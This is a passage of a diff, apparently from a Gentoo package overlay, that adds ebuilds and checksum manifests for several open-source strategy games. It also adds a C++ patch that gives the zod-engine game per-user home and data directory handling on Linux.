++cmake .. -DNVTT_SHARED=1 -DCMAKE_BUILD_TYPE=Release -DBINDIR=bin -DLIBDIR=lib -DGLUT=0 -DGLEW=0 -DCG=0 -DCUDA=0 -DOPENEXR=0 -G "Unix Makefiles"
+ 
+ ${MAKE} nvtt ${JOBS}
+Index: /ps/trunk/libraries/nvtt/README.txt
+===================================================================
+--- /ps/trunk/libraries/nvtt/README.txt	(revision 11501)
++++ /ps/trunk/libraries/nvtt/README.txt	(revision 11502)
+@@ -10,2 +10,3 @@
+   cmake-freebsd.patch (fixes build on FreeBSD)
+   gcc47-unistd.patch (fixes build on GCC 4.7)
++  cmake-depflags.patch (from https://407191.bugs.gentoo.org/attachment.cgi?id=308589 - allows disabling various dependencies)
diff --git a/games-strategy/dunelegacy/Manifest b/games-strategy/dunelegacy/Manifest
new file mode 100644
index 00000000..f6b153fe
--- /dev/null
+++ b/games-strategy/dunelegacy/Manifest
@@ -0,0 +1,2 @@
+DIST dunelegacy-0.96.2-src.tar.bz2 1437524 SHA256 bdf27bdaa001f37db52ab4747bd563b48334db5df6e6e8314de85a0340649173
+EBUILD dunelegacy-0.96.2.ebuild 1365 SHA256 22416df3f7f40141321acbc65550d4d8c4c933e1d7ae62b963376b8e9015b176 SHA512 39bdecc9782fa4649e7f0df596d6064e9a928b86ac69736884fa9414ce1b61e567081e3b2c7d6c12433049c073f8c0a4f79db7bd5948fab7d769f073470d0c8e WHIRLPOOL f8d13d9166e904be1a6c90da4b6674c2212ece201ca64248555beb7df08ce126b29b8a87c5b05057b2f1bc0acfb70296ab329ac19576e3e655a41a59e6717829
diff --git a/games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild b/games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild
new file mode 100644
index 00000000..f0c96b09
--- /dev/null
+++ b/games-strategy/dunelegacy/dunelegacy-0.96.2.ebuild
@@ -0,0 +1,61 @@
+# Copyright 1999-2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+inherit eutils games
+
+
+DESCRIPTION="Dune Legacy is an open source clone of Dune 2."
+HOMEPAGE="http://dunelegacy.sourceforge.net"
+SRC_URI="http://www.myway.de/richieland/${PN}-0.96.2-src.tar.bz2"
+
+LICENSE="GPL-2 or later"
+SLOT="0"
+KEYWORDS="amd64 x86"
+IUSE=""
+
+RDEPEND="media-libs/libsdl
+	media-libs/sdl-mixer"
+
+DEPEND="${RDEPEND}"
+
+S=${WORKDIR}/${PN}-0.96.2
+
+src_install() {
+        cd "${S}/src"
+
+	dogamesbin ${PN} || die "dogamesbin failed"
+
+	cd "${S}"
+
+	insinto "${GAMES_DATADIR}"/${PN}
+	doins -r data/* || die "doins failed"
+
+	doicon dunelegacy.png
+	make_desktop_entry ${PN} "Dune Legacy" dunelegacy.png "Game;StrategyGame;"
+
+	prepgamesdirs
+}
+
+pkg_postinst() {
+    elog "You will need to copy all Dune 2 PAK files to ${GAMES_DATADIR}/${PN} !"
+    elog ""
+    elog "At least the following files are needed:"
+    elog " - ATRE.PAK"
+    elog " - DUNE.PAK"
+    elog " - ENGLISH.PAK"
+    elog " - FINALE.PAK"
+    elog " - HARK.PAK"
+    elog " - INTRO.PAK"
+    elog " - INTROVOC.PAK"
+    elog " - MENTAT.PAK"
+    elog " - MERC.PAK"
+    elog " - ORDOS.PAK"
+    elog " - SCENARIO.PAK"
+    elog " - SOUND.PAK"
+    elog " - VOC.PAK"
+    elog ""
+    elog "For playing in german or french you need additionally GERMAN.PAK"
+    elog "or FRENCH.PAK."
+}
+
diff --git a/games-strategy/stargus/Manifest b/games-strategy/stargus/Manifest
new file mode 100644
index 00000000..ffd3c925
--- /dev/null
+++ b/games-strategy/stargus/Manifest
@@ -0,0 +1,2 @@
+DIST stargus_2.2.7.orig.tar.gz 297224 SHA256 7cbc9b4393e3d2a4d04e194518becb915204fea7f56e8f65aba361c8182f3c93 SHA512 73c4e74e22658cbcbe1a55e4ff38ed5e4a1a5531c815834385eee337f34a0070ce699db7a7456709525f75f6a25c53e5f723fb6fceaa59d4f3146a30edc18e05 WHIRLPOOL 009224eebe558c87513cbad14c2a9741413f16bebef2178c51e45f2c1975350177050d123f0f80f7f7fb650215fe92d2678ad3af3da11e680e20735a84953837
+EBUILD stargus-2.2.7.ebuild 1646 SHA256 829b2fa7f07cb175867b3b9b93ee90873d57cc4a505b86532eb5599e47c55d27 SHA512 186cb743b3efb6cc5fe1708c4f0fc4dabdb02563ea3f348712c44ddd672cbfbe800bad24df29a303175a093a397f797b33c4784dbe52bda62d972d3cd049830b WHIRLPOOL ea73b27e88c1995e1497fa322295440c731d5d69b8e6bbd7c7fc2d1adf56f76f36b754d3e687a0ff0dcb54cb0a596e09bb1925431cd8728cba541b1ffa1748e9
diff --git a/games-strategy/stargus/stargus-2.2.7.ebuild b/games-strategy/stargus/stargus-2.2.7.ebuild
new file mode 100644
index 00000000..68f4c540
--- /dev/null
+++ b/games-strategy/stargus/stargus-2.2.7.ebuild
@@ -0,0 +1,70 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/games-engines/stratagus/stratagus-2.2.6-r1.ebuild,v 1.2 2012/06/02 19:53:52 hasufell Exp $
+
+EAPI=4
+
+inherit cmake-utils eutils games
+
+DESCRIPTION="A realtime strategy game engine"
+HOMEPAGE="http://stratagus.sourceforge.net/"
+SRC_URI="https://launchpad.net/stargus/trunk/${PV}/+download/${PN}_${PV}.orig.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~x86"
+IUSE="bzip2 debug doc mikmod mng theora vorbis"
+
+RDEPEND="dev-db/sqlite:3
+	>=dev-lang/lua-5
+	dev-lua/toluapp
+	media-libs/libpng:0
+	virtual/opengl
+	x11-libs/libX11
+	media-libs/libsdl[audio,opengl,video]
+	bzip2? ( app-arch/bzip2 )
+	mikmod? ( media-libs/libmikmod )
+	mng? ( media-libs/libmng )
+	vorbis? ( media-libs/libvorbis
+		theora? ( media-libs/libtheora )
+	)"
+DEPEND="${RDEPEND}
+	doc? ( app-doc/doxygen )
+	virtual/pkgconfig"
+
+REQUIRED_USE="theora? ( vorbis )"
+
+S=${WORKDIR}/${PN}_${PV}.orig
+
+#src_prepare() {
+	#epatch "${FILESDIR}"/${P}-build.patch \
+		#"${FILESDIR}"/${P}-debug.patch
+#}
+
+src_configure() {
+	# there are in-source switches
+	use debug && CMAKE_BUILD_TYPE=Debug
+
+	local mycmakeargs=(
+		-DBINDIR="${GAMES_BINDIR}"
+		-DSBINDIR="${GAMES_BINDIR}"
+		$(cmake-utils_use_with bzip2 BZIP2)
+		$(cmake-utils_use_enable doc DOC)
+		$(cmake-utils_use_with mikmod MIKMOD)
+		$(cmake-utils_use_with mng MNG)
+		$(cmake-utils_use_with vorbis OGGVORBIS)
+		$(cmake-utils_use_with theora THEORA)
+		-DENABLE_DEV=ON
+	)
+
+	cmake-utils_src_configure
+}
+
+src_compile() {
+	cmake-utils_src_compile
+}
+
+src_install() {
+	cmake-utils_src_install
+	prepgamesdirs
+}
diff --git a/games-strategy/unknown-horizons/Manifest b/games-strategy/unknown-horizons/Manifest
new file mode 100644
index 00000000..259d226a
--- /dev/null
+++ b/games-strategy/unknown-horizons/Manifest
@@ -0,0 +1,4 @@
+DIST unknown-horizons-2011.2.tar.xz 71843004 SHA256 f64bc787c6094f420a4d7a5f3181fd24d395034a8b2ccbea6799e7cb1ab06092
+DIST unknown-horizons-2012.1.tar.xz 96318876 SHA256 109fd61026491c7c259cc552dd2c1ac90214bde42eab7cbc736009396abb870a
+EBUILD unknown-horizons-2011.2.ebuild 744 SHA256 2ce71ea238d11c95cd626ba7c2a98d346282b38d294da49d9695344ae742f5df SHA512 e794dd406c34d6318e70b8128fc5e2b40eb63fc2885fa8bc187acf9968543dba25e0ad8f14a78ad4dc1853922c621c5335b502b985a87ab3e062b8c487c66e3a WHIRLPOOL 8fa07f61eb9e114635ccbe682ae7564deee2c0dbe2548f00d23dd04edc427d4006c3800b222b794104139e32947f7f261b5fccd326f4b66c592b08543f03ea50
+EBUILD unknown-horizons-2012.1.ebuild 717 SHA256 606022db3fcdd20555c6ab4226c74c75452a05279b7795ff91bf9bfae79e1274 SHA512 7a8c69d52d61f49e8899c4ceea20d9c1406484ba38da737e7b1417b175c02d135166e95fd4ef9c0c3e7a3080d0ff3a006686e85584b8ddff55fd1e50eaa5efbe WHIRLPOOL ff074d465d58823291bdfcc987a091d465b7ba6432713d314bb5f5a61f073ea9013442a4046ff1083ae9f933ca9ddc1cd6beb71c4bc471493d6d8a60fe5f616d
diff --git a/games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild b/games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild
new file mode 100644
index 00000000..3bb60a37
--- /dev/null
+++ b/games-strategy/unknown-horizons/unknown-horizons-2011.2.ebuild
@@ -0,0 +1,38 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+PYTHON_DEPEND="2:2.7"
+PYTHON_USE_WITH="sqlite"
+
+inherit distutils games
+DESCRIPTION="Anno-like real time strategy game"
+HOMEPAGE="http://www.unknown-horizons.org/"
+
+SRC_URI="mirror://sourceforge/unknownhorizons/${P}.tar.xz"
+
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+SLOT="0"
+IUSE=""
+
+DEPEND="dev-python/pyyaml
+	=games-engines/fife-0.3.2.2
+	dev-python/python-distutils-extra"
+
+RDEPEND="$DEPEND"
+
+S="${WORKDIR}"/${PN}
+
+src_compile() {
+	distutils_src_compile build_i18n
+}
+
+src_install() {
+	# FIXME: exe and data-files goes into wrong place, games.gentoo.org policy
+	# violation
+	distutils_src_install
+	prepgamesdirs
+}
diff --git a/games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild b/games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild
new file mode 100644
index 00000000..5d3102b3
--- /dev/null
+++ b/games-strategy/unknown-horizons/unknown-horizons-2012.1.ebuild
@@ -0,0 +1,37 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="3"
+
+PYTHON_DEPEND="2:2.7"
+PYTHON_USE_WITH="sqlite berkdb"
+
+inherit distutils games
+DESCRIPTION="Anno-like real time strategy game"
+HOMEPAGE="http://www.unknown-horizons.org/"
+
+SRC_URI="mirror://sourceforge/unknownhorizons/${P}.tar.xz"
+
+LICENSE="GPL-2"
+KEYWORDS="~amd64 ~x86"
+SLOT="0"
+IUSE=""
+
+DEPEND="dev-python/pyyaml
+	=games-engines/fife-0.3.3-r3"
+
+RDEPEND="$DEPEND"
+
+S="${WORKDIR}"/${PN}
+
+src_compile() {
+	distutils_src_compile build_i18n
+}
+
+src_install() {
+	# FIXME: exe and data-files goes into wrong place, games.gentoo.org policy
+	# violation
+	distutils_src_install
+	prepgamesdirs
+}
diff --git a/games-strategy/zod-engine/Manifest b/games-strategy/zod-engine/Manifest
new file mode 100644
index 00000000..397f0d33
--- /dev/null
+++ b/games-strategy/zod-engine/Manifest
@@ -0,0 +1,3 @@
+AUX zod-engine-20110906-proper-linux-support.patch 41849 SHA256 98a7cef026ffd24132512095c314ea57ae1668b74b228c97262dea035ae15195 SHA512 8c5a28b7abdf59f15d60f08deac4fb8c63a72fd0eac92467d2fa35293272ab5bc3a29c08f9ffc84fcd99363660941028de9133ce0d0e64281efc97828075db8a WHIRLPOOL 557f9cc6b1cc476712feeb9bd61aab6520723a60504e9a986bfeb925c5557a4e640a1f6a6224b050b9c136f75ebb4e3b99483a8691a26425f9d4eaf10c0f8fbc
+DIST zod_linux-2011-09-06.tar.gz 40237117 SHA256 02d8cfbc0da8901a36ea14cdffb72fb7780ea718073d4b6c9e0409cdacca356c
+EBUILD zod-engine-20110906.ebuild 1948 SHA256 4f31aba6e68bb95aa1d5119ed2eea02eda3983c9d15721c946fee2a9c945f490 SHA512 84acd41f2c84817f20a526af61ad5107892608ef033f3063f4038dd22e1ace5ec72f0f7f7ce66ae73feedcb12384908d940ed7cf323649a92c0c2174c896efc2 WHIRLPOOL 03cb6e5467cfb5c1a235be63525c185f41df9ed7f097dad7308fe0c209f156a904aec39862b5364937b2ff588ce455a361448f7983bf33d3dee87e0bbb18188f
diff --git a/games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch b/games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch
new file mode 100644
index 00000000..d81e6049
--- /dev/null
+++ b/games-strategy/zod-engine/files/zod-engine-20110906-proper-linux-support.patch
@@ -0,0 +1,1419 @@
+diff -burN zod_engine/zod_launcher_src/common.cpp zod_engine.new/zod_launcher_src/common.cpp
+--- zod_engine/zod_launcher_src/common.cpp	2011-03-22 12:05:11.000000000 +0100
++++ zod_engine.new/zod_launcher_src/common.cpp	2012-05-05 22:50:56.000000000 +0200
+@@ -9,24 +9,216 @@
+ #include <windows.h>
+ #include <time.h>
+ #include <direct.h>
++
++#define OSPATH_SEP '\\'
++
+ #else
+ #include <sys/stat.h>
+ #include <unistd.h>
+ #include <sys/time.h>
++
++#define OSPATH_SEP '/'
++
+ #endif
+ 
+ namespace COMMON
+ {
+ 	
+-void create_folder(char *foldername)
++//base data path for the engine
++static char base_path[FILENAME_MAX];
++//home (user specific) data path for the engine
++static char home_path[FILENAME_MAX];
++
++static bool path_concat(const char *base, const char *file, char *dest)
++{
++	size_t i;
++	size_t len;
++	char c;
++	bool was_sep;
++
++	// base path is an OS specific path
++	len = 0;
++	for (i = 0; len < (FILENAME_MAX - 1) && base[i] != '\0'; i++)
++		dest[len++] = base[i];
++
++	// this also catches base[i] != '\0'
++	if (len == (FILENAME_MAX - 1))
++		return false;
++
++
++	// ensure base is terminated by OSPATH_SEP
++	if (len == 0 || dest[len - 1] != OSPATH_SEP)
++		dest[len++] = OSPATH_SEP;
++
++	was_sep = true;
++
++	// file name could have both '/' or '\\' for path separation
++	for (i = 0; len < (FILENAME_MAX - 1) && file[i] != '\0'; i++) {
++		char c = file[i];
++		if (c == '/' || c == '\\') {
++			// ignore double separators
++			if (was_sep)
++				continue;
++
++			c = OSPATH_SEP;
++			was_sep = true;
++		} else {
++			was_sep = false;
++		}
++
++		dest[len++] = c;
++	}
++
++	if (file[i] != '\0')
++		return false;
++
++	dest[len] = '\0';
++	return true;
++}
++
++static bool file_exists(const char*filename)
++{
++#ifdef _WIN32
++	DWORD attrs = GetFileAttributes(filename);
++	return (attrs != INVALID_FILE_ATTRIBUTES);
++
++#else
++
++	return (access(filename, R_OK) == 0);
++
++#endif
++
++}
++
++void init_file_paths(const char *bin_path)
+ {
+-#ifdef WIN32 //if windows
++	base_path[0] = '\0';
++
++#ifdef DATA_PATH
++	//compilation defined base path, ignore if too long
++	if (strlen(DATA_PATH) < FILENAME_MAX)
++		strcpy(base_path, DATA_PATH);
++#endif
++
++	if (base_path[0] == '\0' && bin_path && bin_path[0] != '\0') {
++		//default to binary path dirname
++		char dirname[FILENAME_MAX];
++		size_t len;
++
++		len = strlen(bin_path);
++		if (len < FILENAME_MAX) {
++			strcpy(base_path, bin_path);
++			//find the last separator
++			do len--; while (len > 0 && base_path[len] != OSPATH_SEP);
++
++			base_path[len] = '\0';
++		}
++	}
++
++	// if no explicit directory is specified
++	// default to current working directory
++	if (base_path[0] == '\0')
++		strcpy(base_path, ".");
++
++	// get home path
++	home_path[0] = '\0';
++
++#ifdef _WIN32
++	// on Windows home path is equivalent to base path
++	strcpy(home_path, base_path);
++
++#else
++	// on Unix platforms use a specific directory in home
++	const char *home = getenv("HOME");
++	if (home && home[0] != '\0') {
++		if (path_concat(home, ".zod-engine", home_path))
++			create_folder(home_path);
++		else
++			home_path[0] = '\0';
++	}
++
++#endif
++
++}
++
++void create_folder(const char *foldername)
++{
++#ifdef _WIN32 //if windows
+ 	mkdir(foldername);
+ #else
+ 	mkdir(foldername,-1);
+ #endif
+ }
+ 
++FILE *open_file_read(const char *filename, bool binary)
++{
++	char path[FILENAME_MAX];
++	const char *mode;
++	FILE *fp;
++
++	fp = NULL;
++	mode = (binary)? "rb" : "r";
++	if (home_path[0] != '\0') {
++		// if home directory is available, pick the file from there,
++		// as there is where we can find user specific overrides
++		// of our files
++		if (path_concat(home_path, filename, path))
++			fp = fopen(path, mode);
++	}
++
++	if (!fp) {
++		// retrieve the file from the data directory
++		if (path_concat(base_path, filename, path))
++			fp = fopen(path, mode);
++	}
++
++	return fp;
++}
++
++FILE *open_file_write(const char *filename, bool binary, bool append)
++{
++	FILE *fp = NULL;
++	if (home_path[0] != '\0') {
++		//files can only be created in home path
++		char path[FILENAME_MAX];
++
++		if (path_concat(home_path, filename, path)) {
++			// determine open mode
++			char mode[3];
++
++			mode[0] = (append)? 'a' : 'w';
++			mode[1] = (binary)? 'b' : '\0';
++			mode[2] = '\0';
++			fp = fopen(path, mode);
++		}
++	}
++
++	return fp;
++}
++
++bool get_os_path(const char *filename, bool read_only, char *dest)
++{
++
++	if (read_only)
++	{
++		if (home_path[0])
++		{
++			if (path_concat(home_path, filename, dest) && file_exists(dest))
++				return true;
++		}
++
++		return path_concat(base_path, filename, dest) && file_exists(dest);
++
++	}
++	else
++	{
++		if (home_path[0] != '\0')
++			return path_concat(home_path, filename, dest);
++		else
++			return false;
++	}
++}
++
+ double current_time()
+ {
+ #ifdef WIN32
+diff -burN zod_engine/zod_launcher_src/common.h zod_engine.new/zod_launcher_src/common.h
+--- zod_engine/zod_launcher_src/common.h	2011-03-22 12:05:11.000000000 +0100
++++ zod_engine.new/zod_launcher_src/common.h	2012-05-05 22:51:24.000000000 +0200
+@@ -3,11 +3,16 @@
+ 
+ namespace COMMON
+ {
++
++	extern void init_file_paths(const char *bin_path);
++	extern bool get_os_path(const char *filename, bool read_only, char *dest);
++	extern void create_folder(const char *foldername);
++	extern FILE *open_file_read(const char *filename, bool binary);
++	extern FILE *open_file_write(const char *filename, bool binary, bool append);
+ 	extern void split(char *dest, char *message, char split, int *initial, int d_size, int m_size);
+ 	extern void clean_newline(char *message, int size);
+ 	extern void lcase(char *message, int m_size);
+ 	extern double current_time();
+-	extern void create_folder(char *foldername);
+ 	extern void uni_pause(int m_sec);
+ 	extern char *wtoc_s(const wchar_t *input);
+ 	extern char *wtoc(const wchar_t *input, char *dest, int size);
+diff -burN zod_engine/zod_launcher_src/makefile zod_engine.new/zod_launcher_src/makefile
+--- zod_engine/zod_launcher_src/makefile	2011-03-22 12:13:12.000000000 +0100
++++ zod_engine.new/zod_launcher_src/makefile	2012-05-06 04:09:08.000000000 +0200
+@@ -1,2 +1,11 @@
++CC=g++
++CFLAGS=-g `wx-config --cppflags`
++LDFLAGS=`wx-config --libs`
++EXENAME=zod_launcher
++
++ifdef DATA_PATH
++	CFLAGS += -DDATA_PATH=\"$(DATA_PATH)\"
++endif
++
+ default:
+-	g++ -g -o zod_launcher *.cpp `wx-config --cppflags` `wx-config --libs`
++	$(CC) $(CFLAGS) -o $(EXENAME) *.cpp  $(LDFLAGS)
+diff -burN zod_engine/zod_launcher_src/store_settings.cpp zod_engine.new/zod_launcher_src/store_settings.cpp
+--- zod_engine/zod_launcher_src/store_settings.cpp	2011-03-22 12:05:11.000000000 +0100
++++ zod_engine.new/zod_launcher_src/store_settings.cpp	2012-05-06 16:14:49.000000000 +0200
+@@ -11,7 +11,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen("zod_launcher_settings.txt", "w");
++	fp = open_file_write("zod_launcher_settings.txt", false, false);
+ 
+ 	if(!fp) return;
+ 
+@@ -45,7 +45,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen("zod_launcher_settings.txt", "r");
++	fp = open_file_read("zod_launcher_settings.txt", false);
+ 
+ 	if(!fp) return;
+ 
+I file binari zod_engine/zod_launcher_src/zod_launcher e zod_engine.new/zod_launcher_src/zod_launcher sono diversi
+diff -burN zod_engine/zod_launcher_src/zod_launcherApp.cpp zod_engine.new/zod_launcher_src/zod_launcherApp.cpp
+--- zod_engine/zod_launcher_src/zod_launcherApp.cpp	2011-03-22 12:05:11.000000000 +0100
++++ zod_engine.new/zod_launcher_src/zod_launcherApp.cpp	2012-05-05 22:32:45.000000000 +0200
+@@ -9,11 +9,17 @@
+ 
+ #include "zod_launcherApp.h"
+ #include "zod_launcherFrm.h"
++#include "common.h"
+ 
+ IMPLEMENT_APP(zod_launcherFrmApp)
+ 
+ bool zod_launcherFrmApp::OnInit()
+ {
++	 // initialize file system
++	 wxString bin_path(argv[0]);
++	 COMMON::init_file_paths(bin_path.mb_str(wxConvUTF8));
++
++	 // create form
+     zod_launcherFrm* frame = new zod_launcherFrm(NULL);
+     SetTopWindow(frame);
+     frame->Show();
+diff -burN zod_engine/zod_launcher_src/zod_launcherFrm.cpp zod_engine.new/zod_launcher_src/zod_launcherFrm.cpp
+--- zod_engine/zod_launcher_src/zod_launcherFrm.cpp	2011-03-22 12:35:01.000000000 +0100
++++ zod_engine.new/zod_launcher_src/zod_launcherFrm.cpp	2012-05-06 16:16:19.000000000 +0200
+@@ -10,6 +10,7 @@
+ 
+ #include "zod_launcherFrm.h"
+ #include "store_settings.h"
++#include "common.h"
+ 
+ //Do not add custom headers between
+ //Header Include Start and Header Include End
+@@ -215,7 +216,7 @@
+ #ifdef _WIN32
+     message = wxT("zod_engine.exe");
+ #else
+-    message = wxT("./zod");
++    message = wxT("zod");
+ #endif
+     
+     if(WxEdit1->GetValue().length())
+diff -burN zod_engine/zod_src/cgatling.cpp zod_engine.new/zod_src/cgatling.cpp
+--- zod_engine/zod_src/cgatling.cpp	2011-09-06 17:35:10.000000000 +0200
++++ zod_engine.new/zod_src/cgatling.cpp	2012-05-05 17:26:16.000000000 +0200
+@@ -53,7 +53,7 @@
+ 	for(j=0;j<MAX_ANGLE_TYPES;j++)
+ 	{
+ 		sprintf(filename_c, "assets/units/cannons/gatling/empty_r%03d.png", ROTATION[j]);
+-		temp_surface = IMG_Load(filename_c);
++		temp_surface = ZSDL_IMG_Load(filename_c, false);
+ 		fire[0][j].LoadBaseImage(temp_surface, false);
+ 		passive[0][j].LoadBaseImage(temp_surface, false);
+ 		//fire[0][j] = passive[0][j] = IMG_Load_Error(filename_c);
+diff -burN zod_engine/zod_src/common.cpp zod_engine.new/zod_src/common.cpp
+--- zod_engine/zod_src/common.cpp	2011-09-06 17:35:10.000000000 +0200
++++ zod_engine.new/zod_src/common.cpp	2012-05-06 03:00:00.000000000 +0200
+@@ -3,12 +3,16 @@
+ #include <ctype.h>
+ #include <math.h>
+ #include <string.h>
++#include <algorithm>
+ #include "common.h"
+ 
+ #ifdef _WIN32
+ #include <windows.h>
+ #include <time.h>
+ #include <direct.h>
++
++#define OSPATH_SEP '\\'
++
+ #else
+ #include <sys/stat.h>
+ #include <unistd.h>
+@@ -16,20 +20,257 @@
+ #include <sys/types.h>
+ #include <dirent.h>
+ #include <errno.h>
++
++#define OSPATH_SEP '/'
++
+ #endif
+ 
+ namespace COMMON
+ {
+ 	
+-void create_folder(char *foldername)
++//base data path for the engine
++static char base_path[FILENAME_MAX];
++//home (user specific) data path for the engine
++static char home_path[FILENAME_MAX];
++
++static bool path_concat(const char *base, const char *file, char *dest)
++{
++	size_t i;
++	size_t len;
++	char c;
++	bool was_sep;
++
++	// base path is an OS specific path
++	len = 0;
++	for (i = 0; len < (FILENAME_MAX - 1) && base[i] != '\0'; i++)
++		dest[len++] = base[i];
++
++	// this also catches base[i] != '\0'
++	if (len == (FILENAME_MAX - 1))
++		return false;
++
++
++	// ensure base is terminated by OSPATH_SEP
++	if (len == 0 || dest[len - 1] != OSPATH_SEP)
++		dest[len++] = OSPATH_SEP;
++
++	was_sep = true;
++
++	// file name could have both '/' or '\\' for path separation
++	for (i = 0; len < (FILENAME_MAX - 1) && file[i] != '\0'; i++) {
++		char c = file[i];
++		if (c == '/' || c == '\\') {
++			// ignore double separators
++			if (was_sep)
++				continue;
++
++			c = OSPATH_SEP;
++			was_sep = true;
++		} else {
++			was_sep = false;
++		}
++
++		dest[len++] = c;
++	}
++
++	if (file[i] != '\0')
++		return false;
++
++	dest[len] = '\0';
++	return true;
++}
++
++static vector<string> scan_folder(string foldername)
++{
++	vector<string> list;
++
++#ifdef _WIN32
++
++	HANDLE hFind = INVALID_HANDLE_VALUE;
++	WIN32_FIND_DATA ffd;
++
++	foldername += "*";
++
++	hFind = FindFirstFile(foldername.c_str(), &ffd);
++
++	if(INVALID_HANDLE_VALUE == hFind) return filelist;
++
++	do
++	{
++		if(!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
++			list.push_back((char*)ffd.cFileName);
++	}
++	while (FindNextFile(hFind, &ffd) != 0);
++
++	FindClose(hFind);
++
++#else
++
++	DIR *dp;
++   struct dirent *dirp;
++
++	dp  = opendir(foldername.c_str());
++
++	if (dp) {
++
++		while ((dirp = readdir(dp)) != NULL)
++		{
++			if(dirp->d_type == DT_REG)
++				list.push_back(dirp->d_name);
++		}
++
++		closedir(dp);
++	}
++
++#endif
++
++	return list;
++}
++
++static bool file_exists(const char*filename)
++{
++#ifdef _WIN32
++
++	DWORD attrs = GetFileAttributes(filename);
++	return (attrs != INVALID_FILE_ATTRIBUTES);
++
++#else
++
++	return (access(filename, R_OK) == 0);
++
++#endif
++
++}
++
++void init_file_paths(const char *bin_path)
++{
++	base_path[0] = '\0';
++
++#ifdef DATA_PATH
++	//compilation defined base path, ignore if too long
++	if (strlen(DATA_PATH) < FILENAME_MAX)
++		strcpy(base_path, DATA_PATH);
++#endif
++
++	if (base_path[0] == '\0' && bin_path && bin_path[0] != '\0') {
++		//default to binary path dirname
++		char dirname[FILENAME_MAX];
++		size_t len;
++
++		len = strlen(bin_path);
++		if (len < FILENAME_MAX) {
++			strcpy(base_path, bin_path);
++			//find the last separator
++			do len--; while (len > 0 && base_path[len] != OSPATH_SEP);
++
++			base_path[len] = '\0';
++		}
++	}
++
++	// if no explicit directory is specified
++	// default to current working directory
++	if (base_path[0] == '\0')
++		strcpy(base_path, ".");
++
++	// get home path
++	home_path[0] = '\0';
++
++#ifdef _WIN32
++	// on Windows home path is equivalent to base path
++	strcpy(home_path, base_path);
++
++#else
++	// on Unix platforms use a specific directory in home
++	const char *home = getenv("HOME");
++	if (home && home[0] != '\0') {
++		if (path_concat(home, ".zod-engine", home_path))
++			create_folder(home_path);
++		else
++			home_path[0] = '\0';
++	}
++
++#endif
++
++}
++
++void create_folder(const char *foldername)
+ {
+-#ifdef WIN32 //if windows
++#ifdef _WIN32 //if windows
+ 	mkdir(foldername);
+ #else
+ 	mkdir(foldername,-1);
+ #endif
+ }
+ 
++bool get_os_path(const char *filename, bool read_only, char *dest)
++{
++
++	if (read_only)
++	{
++		if (home_path[0])
++		{
++			if (path_concat(home_path, filename, dest) && file_exists(dest))
++				return true;
++		}
++
++		return path_concat(base_path, filename, dest) && file_exists(dest);
++
++	}
++	else
++	{
++		if (home_path[0] != '\0')
++			return path_concat(home_path, filename, dest);
++		else
++			return false;
++	}
++}
++
++FILE *open_file_read(const char *filename, bool binary)
++{
++	char path[FILENAME_MAX];
++	const char *mode;
++	FILE *fp;
++
++	fp = NULL;
++	mode = (binary)? "rb" : "r";
++	if (home_path[0] != '\0') {
++		// if home directory is available, pick the file from there,
++		// as there is where we can find user specific overrides
++		// of our files
++		if (path_concat(home_path, filename, path))
++			fp = fopen(path, mode);
++	}
++
++	if (!fp) {
++		// retrieve the file from the data directory
++		if (path_concat(base_path, filename, path))
++			fp = fopen(path, mode);
++	}
++
++	return fp;
++}
++
++FILE *open_file_write(const char *filename, bool binary, bool append)
++{
++	FILE *fp = NULL;
++	if (home_path[0] != '\0') {
++		//files can only be created in home path
++		char path[FILENAME_MAX];
++
++		if (path_concat(home_path, filename, path)) {
++			// determine open mode
++			char mode[3];
++
++			mode[0] = (append)? 'a' : 'w';
++			mode[1] = (binary)? 'b' : '\0';
++			mode[2] = '\0';
++			fp = fopen(path, mode);
++		}
++	}
++
++	return fp;
++}
++
+ double current_time()
+ {
+ #ifdef WIN32
+@@ -139,7 +380,18 @@
+ #ifdef _WIN32 //if windows
+ 	Sleep(m_sec);	//win version
+ #else
+-	usleep(m_sec * 1000);	//lin version
++	struct timespec ts; //use nanosleep()
++	int secs;
++	int mills;
++	int res;
++
++	secs = m_sec / 1000;
++	mills = m_sec - secs * 1000;
++	ts.tv_sec = secs;
++	ts.tv_nsec = mills * 1000000L;
++
++	do res = nanosleep(&ts, &ts); while (res == -1 && errno == EINTR);
++
+ #endif
+ }
+ 
+@@ -229,7 +481,7 @@
+ 	lt = time(NULL);
+ 	ptr = localtime(&lt);
+ 	
+-	ofp = fopen("reg_log.txt","a");
++	ofp = open_file_write("reg_log.txt",false,true);
+ 
+ 	strcpy(timebuf, asctime(ptr));
+ 	clean_newline(timebuf, 100);
+@@ -259,7 +511,7 @@
+ {
+ 	FILE *fp;
+ 
+-	fp = fopen(filename, "a");
++	fp = open_file_write(filename, false, true);
+ 
+ 	if(!fp) return false;
+ 
+@@ -270,51 +522,37 @@
+ 
+ vector<string> directory_filelist(string foldername)
+ {
+-	vector<string> filelist;
++	vector<string> list;
++	vector<string> base;
++	vector<string> merged;
++	char path[FILENAME_MAX];
+ 
+-#ifdef _WIN32
++	// scan both base and home folders
++	if (path_concat(home_path, foldername.c_str(), path))
++		list = scan_folder(path);
+ 
+-	HANDLE hFind = INVALID_HANDLE_VALUE;
+-	WIN32_FIND_DATA ffd;
++	if (path_concat(base_path, foldername.c_str(), path))
++		base = scan_folder(path);
+ 
+-	foldername += "*";
